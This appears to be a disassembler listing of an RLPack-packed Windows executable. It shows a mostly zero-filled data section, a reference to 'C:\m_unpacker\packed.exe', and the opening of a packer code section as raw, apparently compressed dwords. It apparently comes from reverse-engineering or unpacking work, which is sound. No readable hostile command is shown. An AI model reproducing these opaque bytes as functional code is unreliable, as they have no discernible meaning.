dword_4CDB4C	dd 0			; DATA XREF: sub_40BD91+33Ew
					; sub_40BD91+35Ar
dword_4CDB50	dd 0			; DATA XREF: sub_40BD91+2CFw
dword_4CDB54	dd 0			; DATA XREF: sub_40BD91+2B9w
					; sub_40BD91:loc_40C0A6r
dword_4CDB58	dd 20h dup(0)		; DATA XREF: sub_40BD91+2E2o
					; sub_40BD91+302o
dword_4CDBD8	dd 0			; DATA XREF: sub_40BD91+2D5w
dword_4CDBDC	dd 0			; DATA XREF: sub_40BD91+2EFw
					; sub_40BD91+30Fw
dword_4CDBE0	dd 0			; DATA XREF: sub_40BD91:loc_40C101r
		align 8
dword_4CDBE8	dd 0			; DATA XREF: sub_40BD91+82w
					; sub_40BD91+101o
dword_4CDBEC	dd 41h dup(0)		; DATA XREF: sub_40BD91+41o
dword_4CDCF0	dd 41h dup(0)		; DATA XREF: sub_40BD91+69o
dword_4CDDF4	dd 0			; DATA XREF: sub_40BD91+F7w
					; sub_40BD91+113r
dword_4CDDF8	dd 0			; DATA XREF: sub_40BD91+52w
dword_4CDDFC	dd 0			; DATA XREF: sub_40BD91+4Dw
					; sub_40BD91+D4r
dword_4CDE00	dd 20h dup(0)		; DATA XREF: sub_40BD91+9Ao
					; sub_40BD91+BAo
dword_4CDE80	dd 0			; DATA XREF: sub_40BD91+8Fw
dword_4CDE84	dd 0			; DATA XREF: sub_40BD91+A7w
					; sub_40BD91+C7w
dword_4CDE88	dd 0			; DATA XREF: sub_40BD91:loc_40BEBAr
		align 10h
dword_4CDE90	dd 0			; DATA XREF: sub_40BD91+1A5w
					; sub_40BD91+225o
dword_4CDE94	dd 41h dup(0)		; DATA XREF: sub_40BD91+167o
dword_4CDF98	dd 41h dup(0)		; DATA XREF: sub_40BD91+18Co
dword_4CE09C	dd 0			; DATA XREF: sub_40BD91+21Bw
					; sub_40BD91+237r
dword_4CE0A0	dd 0			; DATA XREF: sub_40BD91+17Aw
dword_4CE0A4	dd 0			; DATA XREF: sub_40BD91+175w
					; sub_40BD91+1F8r
dword_4CE0A8	dd 20h dup(0)		; DATA XREF: sub_40BD91+1BEo
					; sub_40BD91+1DEo
dword_4CE128	dd 0			; DATA XREF: sub_40BD91+1B1w
dword_4CE12C	dd 0			; DATA XREF: sub_40BD91+1CBw
					; sub_40BD91+1EBw
dword_4CE130	dd 0			; DATA XREF: sub_40BD91:loc_40BFDEr
		align 8
dword_4CE138	dd 0			; DATA XREF: sub_40BD91+417w
					; sub_40BD91+470o
dword_4CE13C	dd 0A2h	dup(0)		; DATA XREF: sub_40BD91+405o
dword_4CE3C4	dd 41h dup(0)		; DATA XREF: sub_40BD91+3CFo
dword_4CE4C8	dd 0			; DATA XREF: sub_40BD91+3FCw
					; sub_40BD91+423r
		align 10h
dword_4CE4D0	dd 0			; DATA XREF: sub_40BD91+466w
					; sub_40BD91+482r
dword_4CE4D4	dd 0			; DATA XREF: sub_40BD91+429w
dword_4CE4D8	dd 0			; DATA XREF: sub_40BD91+436w
dword_4CE4DC	dd 0			; DATA XREF: sub_40BD91+3F6w
		dd 0
dword_4CE4E4	dd 0			; DATA XREF: sub_40BD91:loc_40C229r
		dd 0
dword_4CE4EC	dd 0			; DATA XREF: sub_40B9DD+Er
					; sub_40B9DD+32r ...
dword_4CE4F0	dd 0			; DATA XREF: sub_40B9DD+9r
					; sub_40B9DD+26r ...
dword_4CE4F4	dd 82h dup(0)		; DATA XREF: sub_40C85F+8Do
dword_4CE6FC	dd 2 dup(0)		; DATA XREF: sub_40D1C8+68o
dword_4CE704	dd 0			; DATA XREF: sub_40DB5E+9Eo
dword_4CE708	dd 0			; DATA XREF: sub_40EED1+1Fr
					; sub_40EF1C+BCo ...
dword_4CE70C	dd 0			; DATA XREF: sub_40EF1C+B7o
					; sub_40EF1C+DAr ...
dword_4CE710	dd 0			; DATA XREF: sub_40EF1C+9Ao
					; sub_40EF1C+CFr ...
dword_4CE714	dd 0			; DATA XREF: sub_40EE8E+35r
					; sub_40EF1C+95o ...
dword_4CE718	dd 0			; DATA XREF: sub_40EE8E+17r
					; sub_40EED1+3Dr ...
		align 10h
dword_4CE720	dd 0AA17h		; DATA XREF: sub_40BD91+2AEr
					; sub_40F0F1+10w ...
		align 8
dword_4CE728	dd 0			; DATA XREF: sub_40BA49+1Cr
					; sub_40F108+27Cw
dword_4CE72C	dd 0			; DATA XREF: sub_40F9BF+2Aw
					; sub_40F9BF+51r ...
		dd 3 dup(0)
dword_4CE73C	dd 0			; DATA XREF: sub_4111C0+146r
		dd 0
dword_4CE744	dd 0			; DATA XREF: sub_412EDD+4w
					; sub_412EDD+9o
		align 10h
byte_4CE750	db 0			; DATA XREF: sub_413A29+1D3w
					; sub_413A29+2D2o
		align 2
word_4CE752	dw 0			; DATA XREF: sub_413A29+1E3w
word_4CE754	dw 0			; DATA XREF: sub_413A29+1E9w
word_4CE756	dw 0			; DATA XREF: sub_413A29+1F0w
byte_4CE758	db 0			; DATA XREF: sub_413A29+1F7w
byte_4CE759	db 0			; DATA XREF: sub_413A29+1FEw
word_4CE75A	dw 0			; DATA XREF: sub_413A29+204w
dword_4CE75C	dd 0			; DATA XREF: sub_413A29+234w
					; sub_413A29+250w
dword_4CE760	dd 0			; DATA XREF: sub_413A29+258w
byte_4CE764	db 0			; DATA XREF: sub_413A29+26Aw
byte_4CE765	db 0			; DATA XREF: sub_413A29+27Dw
word_4CE766	dw 0			; DATA XREF: sub_413A29+295w
word_4CE768	dw 0			; DATA XREF: sub_413A29+2A4w
word_4CE76A	dw 0			; DATA XREF: sub_413A29+29Cw
dword_4CE76C	dd 101h	dup(0)		; DATA XREF: sub_413A29+2B9o
dword_4CEB70	dd 80h dup(0)		; DATA XREF: sub_401ACD+2F25o
					; sub_401ACD:loc_404A7Bo ...
byte_4CED70	db 0			; DATA XREF: sub_4152D1+1A1w
					; sub_4152D1+27Ao
		align 2
word_4CED72	dw 0			; DATA XREF: sub_4152D1+1AEw
word_4CED74	dw 0			; DATA XREF: sub_4152D1+1B8w
word_4CED76	dw 0			; DATA XREF: sub_4152D1+1C1w
byte_4CED78	db 0			; DATA XREF: sub_4152D1+1C8w
byte_4CED79	db 0			; DATA XREF: sub_4152D1+1CFw
word_4CED7A	dw 0			; DATA XREF: sub_4152D1+1D6w
dword_4CED7C	dd 0			; DATA XREF: sub_4152D1+1E3w
dword_4CED80	dd 0			; DATA XREF: sub_4152D1+1EBw
word_4CED84	dw 0			; DATA XREF: sub_4152D1+244w
word_4CED86	dw 0			; DATA XREF: sub_4152D1+22Cw
word_4CED88	dw 0			; DATA XREF: sub_4152D1+256w
word_4CED8A	dw 0			; DATA XREF: sub_4152D1+1F7w
dword_4CED8C	dd 101h	dup(0)		; DATA XREF: sub_4152D1+265o
dword_4CF190	dd 0			; DATA XREF: sub_401ACD+19C3w
					; sub_401ACD+2F1Dr ...
		align 10h
byte_4CF1A0	db 0			; DATA XREF: sub_4157BA+241o
					; sub_4157BA+250w ...
byte_4CF1A1	db 0			; DATA XREF: sub_4157BA+264w
word_4CF1A2	dw 0			; DATA XREF: sub_4157BA+295w
word_4CF1A4	dw 0			; DATA XREF: sub_4157BA+27Cw
					; sub_4157BA:loc_415B8Cw
word_4CF1A6	dw 0			; DATA XREF: sub_4157BA+29Bw
byte_4CF1A8	db 0			; DATA XREF: sub_4157BA+288w
byte_4CF1A9	db 0			; DATA XREF: sub_4157BA+25Dw
word_4CF1AA	dw 0			; DATA XREF: sub_4157BA+3F2w
					; sub_4157BA+41Cw
dword_4CF1AC	dd 0			; DATA XREF: sub_4157BA:loc_415A83w
					; sub_4157BA+39Ar
dword_4CF1B0	dd 0			; DATA XREF: sub_4157BA+2D6w
word_4CF1B4	dw 0			; DATA XREF: sub_4157BA+394w
					; sub_4157BA+3E8o
word_4CF1B6	dw 0			; DATA XREF: sub_4157BA+335w
					; sub_4157BA+35Ar ...
dword_4CF1B8	dd 0			; DATA XREF: sub_4157BA+30Cw
					; sub_4157BA+3D9w
dword_4CF1BC	dd 0			; DATA XREF: sub_4157BA+328w
					; sub_4157BA+3ABw ...
byte_4CF1C0	db 0			; DATA XREF: sub_4157BA+311r
					; sub_4157BA+31Fw
byte_4CF1C1	db 0			; DATA XREF: sub_4157BA+2DBw
					; sub_4157BA+3A4w ...
word_4CF1C2	dw 0			; DATA XREF: sub_4157BA+2E9w
word_4CF1C4	dw 0			; DATA XREF: sub_4157BA+3F9w
					; sub_4157BA+42Aw
word_4CF1C6	dw 0			; DATA XREF: sub_4157BA+32Ew
word_4CF1C8	dw 0			; DATA XREF: sub_4157BA+360w
					; sub_4157BA+432o
word_4CF1CA	dw 0			; DATA XREF: sub_4157BA+36Fw
					; sub_4157BA+409w
dword_4CF1CC	dd 0			; DATA XREF: sub_4157BA+369w
		dd 2 dup(0)
dword_4CF1D8	dd 0			; DATA XREF: sub_4157BA+39Fw
					; sub_4157BA+417o
dword_4CF1DC	dd 0			; DATA XREF: sub_4157BA+33Bw
byte_4CF1E0	db 0			; DATA XREF: sub_4157BA+341w
byte_4CF1E1	db 0			; DATA XREF: sub_4157BA+347w
word_4CF1E2	dw 0			; DATA XREF: sub_4157BA+354w
dword_4CF1E4	dd 7 dup(0)		; DATA XREF: sub_4157BA+3EDo
dword_4CF200	dd 0			; DATA XREF: sub_4157BA+30w
					; sub_4157BA+43Br
dword_4CF204	dd 100h	dup(0)		; DATA XREF: sub_4157BA+1C3o
					; sub_4157BA+47Eo
dword_4CF604	dd 1000h dup(0)		; DATA XREF: sub_415D38+1Do
					; sub_415DD8o ...
dword_4D3604	dd 0			; DATA XREF: sub_415D38+13o
					; sub_415DD8+Eo ...
dword_4D3608	dd 0Eh dup(0)		; DATA XREF: sub_416CC9+Fo
dword_4D3640	dd 80h dup(0)		; DATA XREF: sub_417990+41o
dword_4D3840	dd 200h	dup(0)		; DATA XREF: sub_4172C1+C7o
					; sub_41761C+DDo ...
dword_4D4040	dd 44h dup(0)		; DATA XREF: sub_4172C1+D6o
					; sub_41761C+F4o ...
		db 2 dup(0)
word_4D4152	dw 0			; DATA XREF: .packed:off_4383B0o
		dd 1BBh	dup(0)
dword_4D4840	dd 0			; DATA XREF: sub_4172C1+86w
					; sub_417493+94r
dword_4D4844	dd 0			; DATA XREF: sub_4172C1+A7w
					; sub_4178F9+55r ...
dword_4D4848	dd 0			; DATA XREF: sub_4172C1+A0w
					; sub_417493+D6r ...
dword_4D484C	dd 0			; DATA XREF: sub_4172C1+79w
					; sub_417493+35r ...
dword_4D4850	dd 80h dup(0)		; DATA XREF: sub_4178F9+5Eo
dword_4D4A50	dd 0			; DATA XREF: sub_4172C1+93w
					; sub_417493+A2r
		align 8
dword_4D4A58	dd 0			; DATA XREF: sub_4172C1+E7o
					; sub_4172C1+103r ...
dword_4D4A5C	dd 0			; DATA XREF: sub_41761C+17Bw
					; sub_4177C3+107w
dword_4D4A60	dd 0			; DATA XREF: sub_41761C+180w
					; sub_4177C3+10Dw ...
dword_4D4A64	dd 0			; DATA XREF: sub_41761C+159w
					; sub_4178F9+4Fr
dword_4D4A68	dd 0			; DATA XREF: sub_417C61+22w
					; sub_417C61:loc_417DE6w ...
dword_4D4A6C	dd 0			; DATA XREF: sub_401ACD+3C95o
					; sub_417B2F+12o ...
		dd 0
dword_4D4A74	dd 0			; DATA XREF: sub_417C61+1Cr
					; sub_417E06+3Ar
		dd 7Fh dup(0)
dword_4D4C74	dd 0			; DATA XREF: sub_417C61+28r
					; sub_417E06+4Aw
		dd 1944h dup(0)
dword_4DB188	dd 0			; DATA XREF: sub_417E06+23o
dword_4DB18C	dd 81h dup(0)		; DATA XREF: sub_401ACD+3CB9o
					; sub_417B2F+3Co ...
dword_4DB390	dd 17h dup(0)		; DATA XREF: sub_418D2A:loc_418E47o
					; sub_418D2A+131o ...
dword_4DB3EC	dd 80h dup(0)		; DATA XREF: sub_419AE0+7Co
					; sub_419AE0+A5o
dword_4DB5EC	dd 0			; DATA XREF: sub_4190A5+45w
					; sub_4190A5+4Dr ...
dword_4DB5F0	dd 17h dup(0)		; DATA XREF: sub_4199AC:loc_419ACEo
					; sub_4199AC+12Do
dword_4DB64C	dd 80h dup(0)		; DATA XREF: sub_418FE5+4Co
					; sub_418FE5+7Eo ...
byte_4DB84C	db 0			; DATA XREF: sub_4190A5+29r
					; sub_4190A5+34w
		align 10h
dword_4DB850	dd 80h dup(0)		; DATA XREF: sub_4192FC+61o
					; sub_4192FC+89o ...
dword_4DBA50	dd 81h dup(0)		; DATA XREF: sub_418C0E:loc_418C46o
					; sub_418C0E+5Bo
dword_4DBC54	dd 0			; DATA XREF: sub_419F6D:loc_419F8Er
					; sub_41A05C+54r ...
dword_4DBC58	dd 0			; DATA XREF: sub_419F6Dr
					; sub_41A05C+37r ...
dword_4DBC5C	dd 0			; DATA XREF: sub_419F9D+1Ar
					; sub_41A1B1+83o
dword_4DBC60	dd 0			; DATA XREF: sub_419F6D:loc_419F81r
					; sub_41A1B1+11Bw
dword_4DBC64	dd 0Dh dup(0)		; DATA XREF: sub_41A05C+13o
					; sub_41A1B1:loc_41A2EEo
dword_4DBC98	dd 0			; DATA XREF: sub_41A05C+CDr
					; sub_41A05C+ECr ...
		align 10h
dword_4DBCA0	dd 0Fh dup(0)		; DATA XREF: sub_41ADD8+47o
byte_4DBCDC	db 0			; DATA XREF: sub_41B52C+6o
					; .packed:0041B881o ...
		align 10h
		dd 3Fh dup(0)
dword_4DBDDC	dd 2 dup(0)		; DATA XREF: sub_41B55B+18o
dword_4DBDE4	dd 2 dup(0)		; DATA XREF: sub_41B55B+8o
					; .packed:0041B6CAo
dword_4DBDEC	dd 0			; DATA XREF: sub_41C59D+1B9w
					; sub_41DA8B:loc_41DB07w ...
dword_4DBDF0	dd 0			; DATA XREF: sub_41DC5E+35w
					; sub_41E312:loc_41E3ACw ...
dword_4DBDF4	dd 0			; DATA XREF: sub_42423B+13Ar
dword_4DBDF8	dd 0A28h		; DATA XREF: sub_41E1D3+52w
dword_4DBDFC	dd 501h			; DATA XREF: sub_41E1D3+49w
dword_4DBE00	dd 5			; DATA XREF: sub_41E1D3+3Ew
dword_4DBE04	dd 1			; DATA XREF: sub_41E1D3+30w
dword_4DBE08	dd 1			; DATA XREF: sub_401221:loc_401516r
					; sub_42378C+91w
dword_4DBE0C	dd 350B20h		; DATA XREF: sub_401221+2FEr
					; sub_401221+31Er ...
		dd 0
dword_4DBE14	dd 350B48h		; DATA XREF: sub_4236D3+44w
		dd 3 dup(0)
off_4DBE24	dd offset aCM_unpackerPac ; DATA XREF: sub_42378C+2Ew
					; "C:\\m_unpacker\\packed.exe"
		dd 0
byte_4DBE2C	db 0			; DATA XREF: sub_41C1B3+2Dw
					; sub_4241E3+5r
		align 10h
dword_4DBE30	dd 0			; DATA XREF: sub_41C1B3+27w
dword_4DBE34	dd 0			; DATA XREF: sub_41C1B3+4r
					; sub_41C1B3+8Bw
dword_4DBE38	dd 0			; DATA XREF: sub_41CAD4+3Br
					; sub_41CAD4+91w
		align 10h
dword_4DBE40	dd 0			; DATA XREF: sub_41D124+Aw
dword_4DBE44	dd 0			; DATA XREF: sub_41E1D3+84w
					; sub_4236D3:loc_4236E5r ...
		dd 0
dword_4DBE4C	dd 0			; DATA XREF: sub_41E2C9r sub_41E2EEr ...
dword_4DBE50	dd 0			; DATA XREF: sub_41F3B0+4Bw
					; sub_41F4C9+2Dw ...
dword_4DBE54	dd 0			; DATA XREF: sub_41FBB2r
dword_4DBE58	dd 0			; DATA XREF: sub_41BBE2:loc_41BCFEr
					; sub_41BBE2:loc_41BE1Fr ...
dword_4DBE5C	dd 1			; DATA XREF: sub_420749:loc_4208C4r
					; sub_4208E2+4w ...
dword_4DBE60	dd 0			; DATA XREF: sub_420CE6+37r
		align 8
dword_4DBE68	dd 0			; DATA XREF: sub_422279+11r
					; sub_42237D+1Ar ...
byte_4DBE6C	db 0			; DATA XREF: sub_422279+3r
					; sub_422279+98r ...
		align 10h
dword_4DBE70	dd 0			; DATA XREF: sub_42237D+11r
					; sub_42245B+21w ...
byte_4DBE74	db 0			; DATA XREF: sub_42245B+51w
		align 4
dword_4DBE78	dd 0			; DATA XREF: sub_422651+4Er
					; sub_422A2C+3Ar ...
dword_4DBE7C	dd 0			; DATA XREF: sub_422651+5Cr
					; sub_422A2C+43r ...
dword_4DBE80	dd 0			; DATA XREF: sub_41D3AA+7Ar
					; sub_4227F8+5r
dword_4DBE84	dd 0			; DATA XREF: sub_422DFC+29r
dword_4DBE88	dd 1			; DATA XREF: sub_4232A8+28r
					; sub_4232A8+4Cw ...
		dd 2 dup(0)
dword_4DBE94	dd 0			; DATA XREF: sub_41DE4A+4r
					; sub_41DE4A+6Er ...
		dd 3 dup(0)
dword_4DBEA4	dd 0			; DATA XREF: sub_41E0D4+61r
					; sub_41E0D4+BFr ...
		dd 0
dword_4DBEAC	dd 0			; DATA XREF: sub_4234F7+3Ar
					; sub_4234F7+46w ...
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_42378C:loc_4237A3o
					; .packed:off_4DBE24o
		align 4
		dd 3Ah dup(0)
dword_4DBFB4	dd 1			; DATA XREF: sub_4239D9+2r
					; sub_4239D9+23w ...
dword_4DBFB8	dd 0			; DATA XREF: sub_423D98+21r
dword_4DBFBC	dd 0			; DATA XREF: sub_41FBCD+154w
					; sub_420CE6:loc_420D0Fw ...
dword_4DBFC0	dd 0			; DATA XREF: sub_41FBCD+7r
dword_4DBFC4	dd 1			; DATA XREF: sub_4244F4+26r
					; sub_4244F4:loc_42455Ew
word_4DBFC8	dw 0			; DATA XREF: sub_424DF9+1Ao
					; sub_424DF9+46r
byte_4DBFCA	db 0			; DATA XREF: sub_424DF9+39r
		align 4
dword_4DBFCC	dd 7 dup(0)		; DATA XREF: sub_424DF9+52o
dword_4DBFE8	dd 0			; DATA XREF: sub_424DF9+40w
					; sub_424DF9+5Co
dword_4DBFEC	dd 0			; DATA XREF: sub_424DF9+4Dw
dword_4DBFF0	dd 0			; DATA XREF: sub_424DF9+31w
dword_4DBFF4	dd 0			; DATA XREF: sub_424DF9+52w
dword_4DBFF8	dd 77C26E79h		; DATA XREF: sub_424F1C:loc_424F3Fr
					; sub_424F1C+38r ...
dword_4DBFFC	dd 0			; DATA XREF: sub_425029+3r
					; sub_425029+2Ew ...
dword_4DC000	dd 0			; DATA XREF: sub_425029+43w
					; sub_425029:loc_425078r
dword_4DC004	dd 0			; DATA XREF: sub_425029+4Aw
					; sub_425029+60r
dword_4DC008	dd 0			; DATA XREF: sub_42423B+3Fr
dword_4DC00C	dd 0			; DATA XREF: sub_425C06:loc_425C6Dr
					; sub_425C06+6Do
dword_4DC010	dd 0			; DATA XREF: sub_425C06:loc_425C44r
					; sub_425C06+44o
dword_4DC014	dd 0			; DATA XREF: sub_425C06:loc_425C37r
					; sub_425C06+37o
dword_4DC018	dd 0			; DATA XREF: sub_425C06:loc_425C51r
					; sub_425C06+51o
		align 10h
dword_4DC020	dd 0			; DATA XREF: sub_426636+28r
					; sub_426636+4Cw ...
dword_4DC024	dd 0			; DATA XREF: sub_4268C1+26r
					; sub_4268C1:loc_42692Bw
byte_4DC028	db 1			; DATA XREF: sub_40DB3Cr sub_40DB3C+9w
		align 4
dword_4DC02C	dd 351110h		; DATA XREF: sub_41E490:loc_41E4A1r
					; sub_41FD3D+14r ...
		dd 4 dup(0)
dword_4DC040	dd 400h	dup(0)		; DATA XREF: .packed:off_43D578o
					; .packed:0043D580o
dword_4DD040	dd 200h			; DATA XREF: sub_41E490+9r
					; sub_41E490+56r ...
		dd 7 dup(0)
dword_4DD060	dd 350650h		; DATA XREF: sub_41F8E3+75r
					; sub_41F9BC+2Ar ...
dword_4DD064	dd 3Fh dup(0)		; DATA XREF: sub_423B0B+92o
dword_4DD160	dd 20h			; DATA XREF: sub_41E312+8r
					; sub_41F9BC+Cr ...
dword_4DD164	dd 4E4h			; DATA XREF: sub_420749+14r
					; sub_420749+65w ...
		align 10h
dword_4DD170	dd 3 dup(0)		; DATA XREF: sub_420749+123o
					; sub_420749+171o ...
dword_4DD17C	dd 0			; DATA XREF: sub_420749+108w
					; sub_420749+15Dw ...
byte_4DD180	db 0			; DATA XREF: sub_420988:loc_420A94w
					; sub_420988:loc_420AB1w ...
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
byte_4DD280	db 0			; DATA XREF: sub_420749+5Co
					; sub_420749+AFo ...
byte_4DD281	db 0			; DATA XREF: sub_41C3B1+5Dr
					; sub_420749+A0w ...
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h
dword_4DD384	dd 0			; DATA XREF: sub_420749+6Ew
					; sub_420749+12Bw ...
dword_4DD388	dd 0			; DATA XREF: sub_41E6CF+3Cw
					; sub_41ED74+5r ...
dword_4DD38C	dd 0			; DATA XREF: sub_41E742+23Ar
					; sub_41E742+25Ar ...
dword_4DD390	dd 0			; DATA XREF: sub_41E6CF+31w
					; sub_41E742+311w ...
dword_4DD394	dd 0			; DATA XREF: sub_41E6CF+21w
					; sub_41E742+22Dr ...
dword_4DD398	dd 0			; DATA XREF: sub_41E6CF+28w
					; sub_41E717r ...
dword_4DD39C	dd 0			; DATA XREF: sub_41E6CF+15w
					; sub_41E717+8r ...
dword_4DD3A0	dd 0			; DATA XREF: sub_41BBE2+5Cr
					; sub_41BEF3+Fr ...
dword_4DD3A4	dd 350000h		; DATA XREF: sub_41BA91+5Ar
					; sub_41BBE2+C0r ...
dword_4DD3A8	dd 1			; DATA XREF: sub_41BA91+Cr
					; sub_41BBE2:loc_41BC12r ...
dword_4DD3AC	dd 142340h		; DATA XREF: sub_41E1D3+7Aw
					; sub_42367B+Fr ...
dword_4DD3B0	dd 1			; DATA XREF: sub_4236D3+ADw
dword_4DD3B4	dd 1			; DATA XREF: sub_420B0Dr
					; sub_420B0D+11w ...
dword_4DD3B8	dd 35075Ch		; DATA XREF: sub_41C1B3+3Er
					; sub_41D9B3+13r ...
dword_4DD3BC	dd 350758h		; DATA XREF: sub_41C1B3+35r
					; sub_41C1B3+57r ...
		dd 310h	dup(0)
		dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 7FAh dup(0)
_packed		ends

; Section 2. (virtual address 000E0000)
; Virtual size			: 0001ACFF ( 109823.)
; Section size in file		: 0001ACFF ( 109823.)
; Offset to raw	data for section: 000E0000
; Flags	E0000020: Text Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_RLPack		segment	para public 'CODE' use32
		assume cs:_RLPack
		;org 4E0000h
		assume es:nothing, ss:nothing, ds:_packed, fs:nothing, gs:nothing
		dd 0EC8B0055h, 57565351h, 903850BFh, 0F6330342h, 7912CBBh
		dd 0FC458D0Eh, 6847FE56h, 0F0F073Fh, 77FF0218h,	37750473h
		dd 0B998150Eh, 7539004Ch, 0FB1C7408h, 11E80A80h, 59C0A901h
		dd 6A155067h, 37535693h, 0A43EFC0Eh, 0AEB05BAh,	44480C23h
		dd 88C00957h, 83EC783h,	0BB68B081h, 5FA872h, 0C3C95B5Eh
		dd 824448Bh, 4E854E8h, 0CE835600h, 74C085FFh, 57530725h
		dd 0AEB9388Dh, 28A0218h, 23DE8B0Eh, 33D943C1h, 5EEABC3h
		dd 20850444h, 0F0914E72h, 0E6754F80h, 0C6FE5B5Fh, 0D0F75E0Ah
		dd 3307A7C3h, 0FB5C57DBh, 0C7B50AAEh, 0E542404h, 14E274FFh
		dd 1287F08Bh, 59F871A2h, 7498FF85h, 4703F62Ah, 2875100Ch
		dd 2D586343h, 3A64E2ABh, 1405F62Ch, 8DA90157h, 98FF1E44h
		dd 0AA2F500Ch, 0C48301FAh, 33D6EB10h, 4B1BD0C0h, 0F83B28A3h
		dd 0D88B1470h, 57911419h, 3F3B3106h, 0AE57C38Bh, 811D2749h
		dd 54025C23h, 0CFF2242h, 43E92C35h, 7C5515E4h, 0A5698CEAh
		dd 413C1683h, 8B0608B9h, 70801D14h, 646A1F8Fh, 0CA33D38Ch
		dd 28419010h, 3E6957F0h, 443070AFh, 565EAC18h, 0B0C30EA6h
		dd 0F9758918h, 3EF04BEh, 0A4858DA2h, 808CFFFDh,	0B845C767h
		dd 0AEDB9836h, 2BD86E0Eh, 7D896601h, 97C5B6DCh,	0FEA82140h
		dd 78F5EE37h, 0DEA40F1Bh, 3749FF95h, 286A2C8Ah,	24D23ACBh
		dd 7445847Ch, 92144E52h, 0F07B8082h, 0DE70358Bh, 16D6D923h
		dd 830ABEF4h, 80C71045h, 90BD35B0h, 245903D3h, 1950A364h
		dd 864C498h, 0E9516C71h, 1BD0E928h, 98680A02h, 39382E75h
		dd 1DF5405h, 59D17B02h,	0EB720A3h, 880461D2h, 7E101509h
		dd 5D890CC9h, 0A0F406F8h, 241DFCAFh, 4CE54011h,	4EA335E0h
		dd 462589B9h, 0B043F007h, 0B9D23303h, 1E0603E8h, 24A3F1F7h
		dd 0FF20D089h, 59B8B282h, 9893748h, 0EE026A32h,	68444890h
		dd 0DF756430h, 53C693A4h, 0AC66248Eh, 440E5071h, 2493DA8h
		dd 915B480Bh, 10E6909Fh, 5009F77Ch, 872C0268h, 6D925424h
		dd 0FC33B05h, 0A7452985h, 1A0CBD80h, 8A161A02h,	868ACE87h
		dd 3C641F7Dh, 66550621h, 25FC10C4h, 42145428h, 0A4DF64FDh
		dd 16A37862h, 0C162FB10h, 25F90C0Eh, 7A252753h,	0B1B342B2h
		dd 68ED2543h, 0D028681Fh, 0FAF8329Ah, 292391D1h, 523E6360h
		dd 32E84337h, 421C6CE0h, 0B886058Ch, 1D398142h,	0BEE1A28Ch
		dd 7456C810h, 58BF9831h, 83CE3AFFh, 938504C9h, 0C22B0123h
		dd 0EC991A6Ah, 563CF9F7h, 88618A80h, 47152597h,	0F83BC121h
		dd 0BF4ADD72h, 0FE181062h, 44C86803h, 816662F9h, 12144910h
		dd 8322A0C4h, 120AC1F8h, 0D080264Ch, 9C88DBECh,	98688FA8h
		dd 5345180Dh, 2833A373h, 639FD669h, 94151075h, 0FB3B3B1Eh
		dd 207C2998h, 0A056E74h, 11F927Eh, 98685F74h, 2B68223Ah
		dd 0E5EE3980h, 7434C7EBh, 0E0778342h, 6A0D9059h, 916CA607h
		dd 53E008F6h, 0DC1C8558h, 10F9A638h, 81B5E253h,	2885C712h
		dd 49F20DA4h, 4C9DEB03h, 5EE41766h, 25484534h, 778DAC15h
		dd 0A410FCB2h, 1A278C80h, 0FF511578h, 0F6780FD8h, 91BC6880h
		dd 0E914E606h, 0DE6C49F9h, 5358894Eh, 2BEC681Bh, 254BFA4Dh
		dd 28C9204Dh, 0DE14440Eh, 0E0BD82A4h, 0E41A27C7h, 4DC96C0Ah
		dd 83807553h, 4DBE083Dh, 7E0C14B0h, 110CA143h, 47031FFh
		dd 0C659B1E3h, 216A4FE1h, 6EA6268Fh, 2044D10Fh,	8580939h
		dd 1B851974h, 335B6407h, 1C220835h, 44049088h, 93F97490h
		dd 0F744B410h, 3FD80D75h, 3878B950h, 602A4649h,	0A06829BDh
		dd 275365D5h, 0A207A12h, 480DBAA3h, 384D091Ah, 0D0BDA04h
		dd 3D555653h, 99245572h, 8F0A7C3Eh, 953F746Ah, 0C8B34122h
		dd 42B9843Dh, 1C18F892h, 589F4D7Ch, 0D7817041h,	6534F669h
		dd 894A3050h, 0D6BA8678h, 0E1B7526h, 513250C5h,	9564473Ch
		dd 0C6A4840Ch, 0A675B1BDh, 734C5948h, 2D6C7529h, 0F27E1095h
		dd 788A1E02h, 0BFDD682h, 0DCC27895h, 59961F99h,	837F2E60h
		dd 680312E0h, 574E5DC4h, 0A358432Ch, 8CACB898h,	0A130D00Bh
		dd 3F6A296Ch, 2DAC6DBFh, 5719858Ah, 1C667CA3h, 0ECBE212Eh
		dd 562AE411h, 8939A812h, 41806B1Dh, 68FCCA01h, 1C39B228h
		dd 52EAE94h, 783ED07h, 0F045F002h, 0BE84240Fh, 1739959Dh
		dd 0FF037406h, 0BF24E4Dh, 36B3899h, 987D83FCh, 0C6C57C06h
		dd 5202F00Ch, 5D059542h, 104074F4h, 69E49A9Dh, 91900B95h
		dd 0B87AF68Bh, 0FC06067Fh, 2FEC1D38h, 1367A2C9h, 8F987D42h
		dd 109C7011h, 4308A891h, 45C7C291h, 8A475AF4h, 0C0A45150h
		dd 0C0335E5Fh, 0C2C95B16h, 0CC235817h, 4477890h, 57560845h
